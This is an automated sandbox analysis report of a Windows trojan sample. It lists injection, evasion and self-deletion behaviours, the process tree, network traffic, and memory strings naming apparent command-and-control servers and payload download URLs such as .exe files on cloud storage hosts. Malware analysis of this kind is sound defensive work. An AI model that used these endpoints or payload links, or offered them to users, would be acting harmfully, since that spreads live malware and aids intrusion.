Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe
Analysis ID:	1428478
MD5:	180e97a753b38a75031487130f0f33fe
SHA1:	d5b3e1a7806b95a88db68846604d780066f464fb
SHA256:	a7bb98097d03e4038ddf04cc17954b7a66e29f0f66f9c7b75821776fe80cf13b
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Allocates memory in foreign processes

Changes memory attributes in foreign processes to executable or writable

Connects to many ports of the same IP (likely port scanning)

Creates a thread in another existing process (thread injection)

Hijacks the control flow in another process

Injects a PE file into a foreign processes

Machine Learning detection for sample

Potentially malicious time measurement code found

Self deletion via cmd or bat file

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Abnormal high CPU Usage

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query network adapater information

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe (PID: 2432 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe" MD5: 180E97A753B38A75031487130F0F33FE)

sihost.exe (PID: 3368 cmdline: sihost.exe MD5: A21E7719D73D0322E2E7D61802CB8F80)

AppHostRegistrationVerifier.exe (PID: 5804 cmdline: "C:\Windows\system32\AppHostRegistrationVerifier.exe" MD5: 9709FB202693DBEC05127519EE4B65A9)

autofmt.exe (PID: 2188 cmdline: "C:\Windows\SysWOW64\autofmt.exe" MD5: C72D80A976B7EB40534E8464957A979F)

CertEnrollCtrl.exe (PID: 7124 cmdline: "C:\Windows\SysWOW64\CertEnrollCtrl.exe" MD5: 697EE257E705276754C7259CF982A5AC)

cmd.exe (PID: 1880 cmdline: cmd.exe /c del /f/q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe" > nul MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

ReversingLabs: Detection: 68%

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.248.236.58:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.248.236.58:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.159.126.152:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.25.241.18:443 -> 192.168.2.6:49760 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: AitStatic.pdbGCTL source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: AitStatic.pdb source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2389485528.000001D26BF08000.00000004.00000020.00020000.00000000.sdmp

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 8.212.47.137 ports 8379,8052,3,7,8,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 8379
Source: unknown	Network traffic detected: HTTP traffic on port 8379 -> 49755

Source: global traffic	TCP traffic: 192.168.2.6:49710 -> 8.212.47.137:8379
Source: global traffic	TCP traffic: 192.168.2.6:49713 -> 47.57.240.88:9187
Source: global traffic	TCP traffic: 192.168.2.6:49729 -> 8.212.54.142:9187
Source: global traffic	TCP traffic: 192.168.2.6:49730 -> 47.108.224.157:28012
Source: global traffic	TCP traffic: 192.168.2.6:49744 -> 47.243.79.202:9578

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 96
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 96
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 96
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 96
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: GET /64/pk20.txt HTTP/1.1Connection: Keep-AliveHost: cq-aliyun.oss-cn-hongkong.aliyuncs.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: GET /c HTTP/1.1Host: 47.243.40.96
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: GET /32/pk20.txt HTTP/1.1Host: cq-aliyun.oss-cn-hongkong.aliyuncs.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 144
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 8.212.47.137:8379Content-Length: 96

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /index/download/notice HTTP/1.1Connection: Keep-AliveContent-Type: application/json;charset=UTF-8User-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36Content-Length: 75Host: site01.skfcafob.com
Source: global traffic	HTTP traffic detected: POST /index/download/task HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36Content-Length: 9Host: site01.skfcafob.com
Source: global traffic	HTTP traffic detected: GET /cccccc.txt HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36Host: gfak.oss-cn-hongkong.aliyuncs.com

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.47.137
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88
Source: unknown	TCP traffic detected without corresponding DNS query: 47.57.240.88

Source: C:\Windows\System32\sihost.exe

Code function: 2_2_00D447D7 recv,

2_2_00D447D7

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yAkzWxMlToUhGeV&MD=6sbOoHXV HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yAkzWxMlToUhGeV&MD=6sbOoHXV HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cccccc.txt HTTP/1.1Connection: Keep-AliveUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36Host: gfak.oss-cn-hongkong.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /64/pk20.txt HTTP/1.1Connection: Keep-AliveHost: cq-aliyun.oss-cn-hongkong.aliyuncs.com
Source: global traffic	HTTP traffic detected: GET /c HTTP/1.1Host: 47.243.40.96
Source: global traffic	HTTP traffic detected: GET /32/pk20.txt HTTP/1.1Host: cq-aliyun.oss-cn-hongkong.aliyuncs.com

Source: unknown

DNS traffic detected: queries for: gfak.oss-cn-hongkong.aliyuncs.com

Source: unknown

HTTP traffic detected: POST /index/download/notice HTTP/1.1Connection: Keep-AliveContent-Type: application/json;charset=UTF-8User-Agent: User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36Content-Length: 75Host: site01.skfcafob.com

Source: CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000A55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.243.40.96/c;
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243837720.000001D26BDDD000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243949171.000001D26BDE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cq-aliyun.oss-cn-hongkong.aliyuncs.com/
Source: sihost.exe, 00000002.00000003.2807870230.000001D63F49A000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2818947779.000001D63F6C4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cq-aliyun.oss-cn-hongkong.aliyuncs.com/32/pk20.txt
Source: sihost.exe, 00000002.00000003.2807870230.000001D63F49A000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2818947779.000001D63F6C4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cq-aliyun.oss-cn-hongkong.aliyuncs.com/32/pk20.txtget
Source: AppHostRegistrationVerifier.exe, 0000000C.00000002.4562854966.000001D26BF3E000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cq-aliyun.oss-cn-hongkong.aliyuncs.com/64/pk%02d.txt
Source: AppHostRegistrationVerifier.exe, 0000000C.00000002.4562120260.000001D26BDFA000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000002.4558141604.000001D26BDAB000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243215817.000001D26BDF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cq-aliyun.oss-cn-hongkong.aliyuncs.com/64/pk20.txt
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.2642966828.000001D26BDF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cq-aliyun.oss-cn-hongkong.aliyuncs.com/64/pk20.txtL
Source: AppHostRegistrationVerifier.exe, 0000000C.00000002.4558141604.000001D26BDAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cq-aliyun.oss-cn-hongkong.aliyuncs.com:80/64/pk20.txt
Source: sihost.exe, 00000002.00000003.2818600420.000001D63E9AF000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2807870230.000001D63F5E3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: sihost.exe, 00000002.00000003.2818600420.000001D63E9AF000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2807870230.000001D63F5E3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: CertEnrollCtrl.exe, 0000000E.00000003.2451348396.0000000000A54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gfak.oss-cn-hongkong.aliyuncs.com/
Source: sihost.exe, 00000002.00000003.2631449033.000001D63E9C9000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2818786283.000001D63E9CB000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2425327932.000001D63E9CB000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2818600420.000001D63E9C9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://gfak.oss-cn-hongkong.aliyuncs.com/cccccc.txtdomainget_taskupload
Source: sihost.exe, 00000002.00000003.2818600420.000001D63E9AF000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2807870230.000001D63F5E3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/che
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243894069.000001D26BDE0000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243492528.000001D26BDD3000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243837720.000001D26BDDD000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000002.4562070236.000001D26BDE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/check.php?cid=10000020&
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243949171.000001D26BDE5000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/check.php?cid=10000020&u=%u
Source: CertEnrollCtrl.exe, 0000000E.00000003.3080845232.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/check.php?cid=10000020&u=%uef0
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243215817.000001D26BE1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/check.php?cid=10000020&u=%uwsock.dll
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243894069.000001D26BDE0000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243492528.000001D26BDD3000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243837720.000001D26BDDD000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000002.4562070236.000001D26BDE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/check.php?cid=100i
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243894069.000001D26BDE0000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243492528.000001D26BDD3000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243837720.000001D26BDDD000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000002.4562070236.000001D26BDE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/check.php?cid=100ion
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243215817.000001D26BE1A000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243700050.000001D26BDFB000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243215817.000001D26BDF9000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3080845232.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000A55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/l.php?cid=10000020&tm=%u
Source: CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000A55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/l.php?cid=10000020&tm=%uk20.txt
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243215817.000001D26BE1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/l.php?cid=10000020&tm=%ushqos.dllB
Source: CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000A55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/s.php?cid=10000020&u=%u
Source: CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000A55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/s.php?cid=10000020&u=%u%u0.txt
Source: CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/s.php?cid=10000020&u=%u-0
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243894069.000001D26BDE0000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243492528.000001D26BDD3000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243837720.000001D26BDDD000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000002.4562070236.000001D26BDE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/s.php?cid=10000020&u=%uU
Source: CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.3081243755.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/s.php?cid=10000020&u=%uf
Source: AppHostRegistrationVerifier.exe, 0000000C.00000003.3243894069.000001D26BDE0000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243492528.000001D26BDD3000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000003.3243837720.000001D26BDDD000.00000004.00000020.00020000.00000000.sdmp, AppHostRegistrationVerifier.exe, 0000000C.00000002.4562070236.000001D26BDE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://47.57.238.48/pk/s.php?cid=10000020&u=%ui
Source: CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kgwl.oss-cn-hongkong.aliyuncs.com/7799.exe
Source: CertEnrollCtrl.exe, 0000000E.00000003.3081561434.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kgwl.oss-cn-hongkong.aliyuncs.com/Data.exe
Source: sihost.exe, 00000002.00000003.2818600420.000001D63E9AF000.00000004.00000001.00020000.00000000.sdmp, sihost.exe, 00000002.00000003.2807870230.000001D63F5E3000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: CertEnrollCtrl.exe, 0000000E.00000003.2451386569.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://site01.skfcafob.com
Source: CertEnrollCtrl.exe, 0000000E.00000003.2480495959.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.2480692688.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://site01.skfcafob.com/
Source: CertEnrollCtrl.exe, 0000000E.00000003.2480495959.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, CertEnrollCtrl.exe, 0000000E.00000003.2480692688.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://site01.skfcafob.com/e
Source: CertEnrollCtrl.exe, 0000000E.00000003.2480495959.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://site01.skfcafob.com/index/download/notice
